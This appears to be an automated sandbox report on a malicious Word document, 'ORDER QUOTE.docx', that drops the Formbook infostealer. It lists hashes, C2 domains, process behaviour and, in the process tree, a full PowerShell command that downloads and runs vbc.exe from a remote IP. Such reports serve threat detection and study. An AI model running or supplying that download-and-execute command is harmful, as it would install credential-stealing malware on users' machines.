Analysis
-
max time kernel
150s -
max time network
173s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
22-09-2021 18:12
Static task
static1
Behavioral task
behavioral1
Sample
ORDER QUOTE.docx
Resource
win7v20210408
Behavioral task
behavioral2
Sample
ORDER QUOTE.docx
Resource
win10v20210408
General
-
Target
ORDER QUOTE.docx
-
Size
10KB
-
MD5
eee70c12ab889fd6173de81fbc9a6817
-
SHA1
673a841da220e5ba72e5f30d1d566569595ed352
-
SHA256
7c41d53d6dd4f2979bfcdea462feef025b2f31cf55644f927ece5f4699a1b7a9
-
SHA512
7647f0d5adcd468a6cbae4900ecb2887de0a0f89ba25893379f905f04b7b9ee0fa89af755c8cb1db8e4d613f11a8f9f80334de3e784677d1fac1ad51cc9db8d7
Malware Config
Extracted
http://198.46.199.161/joo/vbc.exe
Extracted
formbook
4.1
m8g0
http://www.psicologarenatacruz.com/m8g0/
trypapaya.pro
instructorcornernet.com
techadvisorsfl.com
raunnan.com
filestune.com
learnitanywhereskills.com
beaullife.com
getcovidwear.com
tkrbeautyinstitut.com
lisaphamkhai.com
iconicdds.com
ksoopawlas.com
testosteron.store
jctaketwo.com
awexz.online
onlinening.com
steelwerkschicago.com
lukakordic.com
expertsofcoaching.com
dashcca.com
xn--demiatdirecto-1ib.com
yuhongicm.com
portlandsiege.com
academysta.com
blackwiremedia.com
kent-ro-service.com
awmarkets.com
speleatherware.com
rehabcenters.space
jioscircle.com
sinijitu.com
analyticsyoda.com
shlqjt.com
bikramyogamarietta.com
crowncasino9.com
smokin-balls.com
shirasu-clinic.com
856379912.xyz
ckatesting.club
dideqsa.com
goodreporters.com
bromosyon.com
ilkonceyayincilik.com
domennyarendi32.net
thegrowthinn.com
qsgasia.com
venolbolivia.com
myhalloweengift.com
deeparchivesport.com
stiltedstories.com
btcdonation.info
little-darling.com
maximumpotentialfitness.net
iading.com
datingwithgusto.com
abncustompainting.com
cropadvisorjobs.com
nanoring.info
best-practice-gastro.com
sellitech.net
mixonsolutions.com
throughthelineagency.com
gtat.pro
relicstudios.net
Signatures
-
Formbook Payload 3 IoCs
Processes:
resource yara_rule behavioral1/memory/1428-126-0x0000000000400000-0x000000000042F000-memory.dmp formbook behavioral1/memory/1428-127-0x000000000041F1B0-mapping.dmp formbook behavioral1/memory/1604-135-0x00000000000C0000-0x00000000000EF000-memory.dmp formbook -
Blocklisted process makes network request 2 IoCs
Processes:
EQNEDT32.EXEpowershell.exeflow pid process 12 832 EQNEDT32.EXE 13 1968 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 3 IoCs
Processes:
regasm.exevbc.exevbc.exepid process 1724 regasm.exe 1764 vbc.exe 1428 vbc.exe -
Abuses OpenXML format to download file from external location 2 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Office\Common\Offline\Files\http://cml.lol/olxqqy WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE -
Loads dropped DLL 4 IoCs
Processes:
EQNEDT32.EXEpowershell.exevbc.exepid process 832 EQNEDT32.EXE 832 EQNEDT32.EXE 832 powershell.exe 1764 vbc.exe -
Uses the VBS compiler for execution 1 TTPs
-
Drops file in System32 directory 2 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
vbc.exevbc.exeNETSTAT.EXEdescription pid process target process PID 1764 set thread context of 1428 1764 vbc.exe vbc.exe PID 1428 set thread context of 1352 1428 vbc.exe Explorer.EXE PID 1604 set thread context of 1352 1604 NETSTAT.EXE Explorer.EXE -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
Processes:
NETSTAT.EXEpid process 1604 NETSTAT.EXE -
Launches Equation Editor 1 TTPs 1 IoCs
Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.
-
Processes:
WINWORD.EXEdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1976 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 19 IoCs
Processes:
powershell.exepowershell.exevbc.exeNETSTAT.EXEpid process 1968 powershell.exe 1968 powershell.exe 832 powershell.exe 832 powershell.exe 1428 vbc.exe 1428 vbc.exe 1604 NETSTAT.EXE 1604 NETSTAT.EXE 1604 NETSTAT.EXE 1604 NETSTAT.EXE 1604 NETSTAT.EXE 1604 NETSTAT.EXE 1604 NETSTAT.EXE 1604 NETSTAT.EXE 1604 NETSTAT.EXE 1604 NETSTAT.EXE 1604 NETSTAT.EXE 1604 NETSTAT.EXE 1604 NETSTAT.EXE -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 1352 Explorer.EXE -
Suspicious behavior: MapViewOfSection 5 IoCs
Processes:
vbc.exeNETSTAT.EXEpid process 1428 vbc.exe 1428 vbc.exe 1428 vbc.exe 1604 NETSTAT.EXE 1604 NETSTAT.EXE -
Suspicious use of AdjustPrivilegeToken 9 IoCs
Processes:
powershell.exepowershell.exevbc.exeNETSTAT.EXEExplorer.EXEWINWORD.EXEdescription pid process Token: SeDebugPrivilege 1968 powershell.exe Token: SeDebugPrivilege 832 powershell.exe Token: SeDebugPrivilege 1428 vbc.exe Token: SeDebugPrivilege 1604 NETSTAT.EXE Token: SeShutdownPrivilege 1352 Explorer.EXE Token: SeShutdownPrivilege 1976 WINWORD.EXE Token: SeShutdownPrivilege 1352 Explorer.EXE Token: SeShutdownPrivilege 1352 Explorer.EXE Token: SeShutdownPrivilege 1352 Explorer.EXE -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 1976 WINWORD.EXE 1976 WINWORD.EXE -
Suspicious use of WriteProcessMemory 39 IoCs
Processes:
EQNEDT32.EXEWINWORD.EXEregasm.execmd.exepowershell.exevbc.exeExplorer.EXENETSTAT.EXEdescription pid process target process PID 832 wrote to memory of 1724 832 EQNEDT32.EXE regasm.exe PID 832 wrote to memory of 1724 832 EQNEDT32.EXE regasm.exe PID 832 wrote to memory of 1724 832 EQNEDT32.EXE regasm.exe PID 832 wrote to memory of 1724 832 EQNEDT32.EXE regasm.exe PID 1976 wrote to memory of 1384 1976 WINWORD.EXE splwow64.exe PID 1976 wrote to memory of 1384 1976 WINWORD.EXE splwow64.exe PID 1976 wrote to memory of 1384 1976 WINWORD.EXE splwow64.exe PID 1976 wrote to memory of 1384 1976 WINWORD.EXE splwow64.exe PID 1724 wrote to memory of 1100 1724 regasm.exe cmd.exe PID 1724 wrote to memory of 1100 1724 regasm.exe cmd.exe PID 1724 wrote to memory of 1100 1724 regasm.exe cmd.exe PID 1724 wrote to memory of 1100 1724 regasm.exe cmd.exe PID 1100 wrote to memory of 1968 1100 cmd.exe powershell.exe PID 1100 wrote to memory of 1968 1100 cmd.exe powershell.exe PID 1100 wrote to memory of 1968 1100 cmd.exe powershell.exe PID 1100 wrote to memory of 1968 1100 cmd.exe powershell.exe PID 1100 wrote to memory of 832 1100 cmd.exe powershell.exe PID 1100 wrote to memory of 832 1100 cmd.exe powershell.exe PID 1100 wrote to memory of 832 1100 cmd.exe powershell.exe PID 1100 wrote to memory of 832 1100 cmd.exe powershell.exe PID 832 wrote to memory of 1764 832 powershell.exe vbc.exe PID 832 wrote to memory of 1764 832 powershell.exe vbc.exe PID 832 wrote to memory of 1764 832 powershell.exe vbc.exe PID 832 wrote to memory of 1764 832 powershell.exe vbc.exe PID 1764 wrote to memory of 1428 1764 vbc.exe vbc.exe PID 1764 wrote to memory of 1428 1764 vbc.exe vbc.exe PID 1764 wrote to memory of 1428 1764 vbc.exe vbc.exe PID 1764 wrote to memory of 1428 1764 vbc.exe vbc.exe PID 1764 wrote to memory of 1428 1764 vbc.exe vbc.exe PID 1764 wrote to memory of 1428 1764 vbc.exe vbc.exe PID 1764 wrote to memory of 1428 1764 vbc.exe vbc.exe PID 1352 wrote to memory of 1604 1352 Explorer.EXE NETSTAT.EXE PID 1352 wrote to memory of 1604 1352 Explorer.EXE NETSTAT.EXE PID 1352 wrote to memory of 1604 1352 Explorer.EXE NETSTAT.EXE PID 1352 wrote to memory of 1604 1352 Explorer.EXE NETSTAT.EXE PID 1604 wrote to memory of 1968 1604 NETSTAT.EXE cmd.exe PID 1604 wrote to memory of 1968 1604 NETSTAT.EXE cmd.exe PID 1604 wrote to memory of 1968 1604 NETSTAT.EXE cmd.exe PID 1604 wrote to memory of 1968 1604 NETSTAT.EXE cmd.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ORDER QUOTE.docx"2⤵
- Abuses OpenXML format to download file from external location
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122883⤵
-
C:\Windows\SysWOW64\NETSTAT.EXE"C:\Windows\SysWOW64\NETSTAT.EXE"2⤵
- Suspicious use of SetThreadContext
- Gathers network information
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Users\Admin\AppData\Local\Temp\vbc.exe"3⤵
-
C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding1⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\regasm.exe"C:\Users\Public\regasm.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c powershell "(New-Object System.Net.WebClient).DownloadFile('http://198.46.199.161/joo/vbc.exe', (Join-Path -Path $env:Temp -ChildPath 'vbc.exe'))" & powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'vbc.exe')" & exit3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "(New-Object System.Net.WebClient).DownloadFile('http://198.46.199.161/joo/vbc.exe', (Join-Path -Path $env:Temp -ChildPath 'vbc.exe'))"4⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'vbc.exe')"4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\vbc.exe"C:\Users\Admin\AppData\Local\Temp\vbc.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\vbc.exe"C:\Users\Admin\AppData\Local\Temp\vbc.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_10a2719f-ab19-452c-9537-375fecbe5f96MD5
df44874327d79bd75e4264cb8dc01811
SHA11396b06debed65ea93c24998d244edebd3c0209d
SHA25655de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181
SHA51295dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1abda922-9e0e-4200-89d0-60796083afccMD5
be4d72095faf84233ac17b94744f7084
SHA1cc78ce5b9c57573bd214a8f423ee622b00ebb1ec
SHA256b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc
SHA51243856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_60554f64-a36e-4439-8748-76f202d7cb75MD5
02ff38ac870de39782aeee04d7b48231
SHA10390d39fa216c9b0ecdb38238304e518fb2b5095
SHA256fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876
SHA51224a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6ccb18ff-7a22-469e-90e7-ccc861e1432bMD5
b6d38f250ccc9003dd70efd3b778117f
SHA1d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a
SHA2564de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265
SHA51267d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bd47eb21-a96b-4ccd-99d7-0d9f3f6c10b6MD5
75a8da7754349b38d64c87c938545b1b
SHA15c28c257d51f1c1587e29164cc03ea880c21b417
SHA256bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96
SHA512798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c9b427a0-6073-4eb8-9b09-f8e4712d7ab5MD5
5e3c7184a75d42dda1a83606a45001d8
SHA194ca15637721d88f30eb4b6220b805c5be0360ed
SHA2568278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59
SHA512fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndexMD5
48a89a5b8969ccef7438ae2610bcde3a
SHA165ee0a561d2443dad1759bec316ec61a0955b9c2
SHA256866cf4bb027031590fe13e8271b81680155e31d613656157063a4d38a4b05eb5
SHA51252fc3f5498e56c050a31f8299edfb88551364fea2ce8a88518e5053e45435f600780c78689106e61d9e73470626ba834f2f0adba3a9b1382e3a5c499aad1dfc1
-
C:\Users\Admin\AppData\Local\Temp\vbc.exeMD5
3dac10541270990e15c8742b0cd6f153
SHA1ed5c87e500c51e055ddb9160929a3dac51d3a393
SHA256744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f
SHA51266f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1
-
C:\Users\Admin\AppData\Local\Temp\vbc.exeMD5
3dac10541270990e15c8742b0cd6f153
SHA1ed5c87e500c51e055ddb9160929a3dac51d3a393
SHA256744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f
SHA51266f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1
-
C:\Users\Admin\AppData\Local\Temp\vbc.exeMD5
3dac10541270990e15c8742b0cd6f153
SHA1ed5c87e500c51e055ddb9160929a3dac51d3a393
SHA256744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f
SHA51266f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msMD5
b443a601820784169ba6d1deca000a7d
SHA1929d88d82412da4bde5c0296a437cd575380c8e7
SHA256853a8de22fe1f0ba06e8a84ee6cc4691e7f7db93abd17b316d989f8bdc9b2bc8
SHA5126454c2bcd8a2b36b53aea8c3c0f1931c2b125f20b47710e37a7e6aeb66b2f5529b96afdba39e2b8809f77dac354638feaeec088c15b796456a4026cc28f19dd1
-
C:\Users\Public\regasm.exeMD5
7f06feab552ff5b4b5ea9c0c08a50982
SHA1fec42fd952353328a01939c949ccb7031be50530
SHA256053e45fb6090b18e9a8ff0a8c24fd2d77eca4057539b1add95e03c38be35b3a0
SHA5129c5877c7851e8d6b000c729948b330ab66e69a18205b3ac5de70b4907360f3fb4541e6745312f7deb08f1a046fb2470e13ab9ca326e0e2f478819ecaa47e9be0
-
\Users\Admin\AppData\Local\Temp\vbc.exeMD5
3dac10541270990e15c8742b0cd6f153
SHA1ed5c87e500c51e055ddb9160929a3dac51d3a393
SHA256744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f
SHA51266f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1
-
\Users\Admin\AppData\Local\Temp\vbc.exeMD5
3dac10541270990e15c8742b0cd6f153
SHA1ed5c87e500c51e055ddb9160929a3dac51d3a393
SHA256744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f
SHA51266f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1
-
\Users\Public\regasm.exeMD5
7f06feab552ff5b4b5ea9c0c08a50982
SHA1fec42fd952353328a01939c949ccb7031be50530
SHA256053e45fb6090b18e9a8ff0a8c24fd2d77eca4057539b1add95e03c38be35b3a0
SHA5129c5877c7851e8d6b000c729948b330ab66e69a18205b3ac5de70b4907360f3fb4541e6745312f7deb08f1a046fb2470e13ab9ca326e0e2f478819ecaa47e9be0
-
\Users\Public\regasm.exeMD5
7f06feab552ff5b4b5ea9c0c08a50982
SHA1fec42fd952353328a01939c949ccb7031be50530
SHA256053e45fb6090b18e9a8ff0a8c24fd2d77eca4057539b1add95e03c38be35b3a0
SHA5129c5877c7851e8d6b000c729948b330ab66e69a18205b3ac5de70b4907360f3fb4541e6745312f7deb08f1a046fb2470e13ab9ca326e0e2f478819ecaa47e9be0
-
memory/832-102-0x0000000004A80000-0x0000000004A81000-memory.dmpFilesize
4KB
-
memory/832-98-0x0000000000000000-mapping.dmp
-
memory/832-106-0x0000000004A20000-0x0000000004A21000-memory.dmpFilesize
4KB
-
memory/832-105-0x0000000004A42000-0x0000000004A43000-memory.dmpFilesize
4KB
-
memory/832-104-0x0000000004A40000-0x0000000004A41000-memory.dmpFilesize
4KB
-
memory/832-103-0x0000000002600000-0x0000000002601000-memory.dmpFilesize
4KB
-
memory/832-114-0x0000000005690000-0x0000000005691000-memory.dmpFilesize
4KB
-
memory/832-101-0x0000000002290000-0x0000000002291000-memory.dmpFilesize
4KB
-
memory/1100-71-0x0000000000000000-mapping.dmp
-
memory/1352-131-0x0000000006D10000-0x0000000006EA2000-memory.dmpFilesize
1.6MB
-
memory/1352-139-0x0000000004A90000-0x0000000004B50000-memory.dmpFilesize
768KB
-
memory/1384-69-0x0000000000000000-mapping.dmp
-
memory/1384-70-0x000007FEFC1D1000-0x000007FEFC1D3000-memory.dmpFilesize
8KB
-
memory/1428-129-0x0000000000A40000-0x0000000000D43000-memory.dmpFilesize
3.0MB
-
memory/1428-126-0x0000000000400000-0x000000000042F000-memory.dmpFilesize
188KB
-
memory/1428-130-0x00000000001D0000-0x00000000001E5000-memory.dmpFilesize
84KB
-
memory/1428-127-0x000000000041F1B0-mapping.dmp
-
memory/1604-132-0x0000000000000000-mapping.dmp
-
memory/1604-136-0x00000000021E0000-0x00000000024E3000-memory.dmpFilesize
3.0MB
-
memory/1604-135-0x00000000000C0000-0x00000000000EF000-memory.dmpFilesize
188KB
-
memory/1604-137-0x0000000001F10000-0x0000000001FA4000-memory.dmpFilesize
592KB
-
memory/1604-134-0x0000000000300000-0x0000000000309000-memory.dmpFilesize
36KB
-
memory/1724-67-0x0000000000000000-mapping.dmp
-
memory/1764-123-0x00000000053B0000-0x0000000005411000-memory.dmpFilesize
388KB
-
memory/1764-121-0x0000000000680000-0x000000000069D000-memory.dmpFilesize
116KB
-
memory/1764-124-0x0000000000AB0000-0x0000000000AE2000-memory.dmpFilesize
200KB
-
memory/1764-117-0x0000000000000000-mapping.dmp
-
memory/1764-119-0x0000000000320000-0x0000000000321000-memory.dmpFilesize
4KB
-
memory/1764-122-0x0000000004EC0000-0x0000000004EC1000-memory.dmpFilesize
4KB
-
memory/1968-79-0x0000000004950000-0x0000000004951000-memory.dmpFilesize
4KB
-
memory/1968-77-0x00000000049E2000-0x00000000049E3000-memory.dmpFilesize
4KB
-
memory/1968-72-0x0000000000000000-mapping.dmp
-
memory/1968-96-0x00000000062D0000-0x00000000062D1000-memory.dmpFilesize
4KB
-
memory/1968-88-0x00000000060F0000-0x00000000060F1000-memory.dmpFilesize
4KB
-
memory/1968-87-0x00000000056F0000-0x00000000056F1000-memory.dmpFilesize
4KB
-
memory/1968-82-0x0000000005680000-0x0000000005681000-memory.dmpFilesize
4KB
-
memory/1968-97-0x000000007EF30000-0x000000007EF31000-memory.dmpFilesize
4KB
-
memory/1968-78-0x0000000002560000-0x0000000002561000-memory.dmpFilesize
4KB
-
memory/1968-95-0x0000000006220000-0x0000000006221000-memory.dmpFilesize
4KB
-
memory/1968-76-0x00000000049E0000-0x00000000049E1000-memory.dmpFilesize
4KB
-
memory/1968-75-0x0000000004A20000-0x0000000004A21000-memory.dmpFilesize
4KB
-
memory/1968-133-0x0000000000000000-mapping.dmp
-
memory/1968-74-0x00000000006F0000-0x00000000006F1000-memory.dmpFilesize
4KB
-
memory/1976-60-0x0000000072DB1000-0x0000000072DB4000-memory.dmpFilesize
12KB
-
memory/1976-63-0x0000000075DA1000-0x0000000075DA3000-memory.dmpFilesize
8KB
-
memory/1976-62-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/1976-138-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/1976-61-0x0000000070831000-0x0000000070833000-memory.dmpFilesize
8KB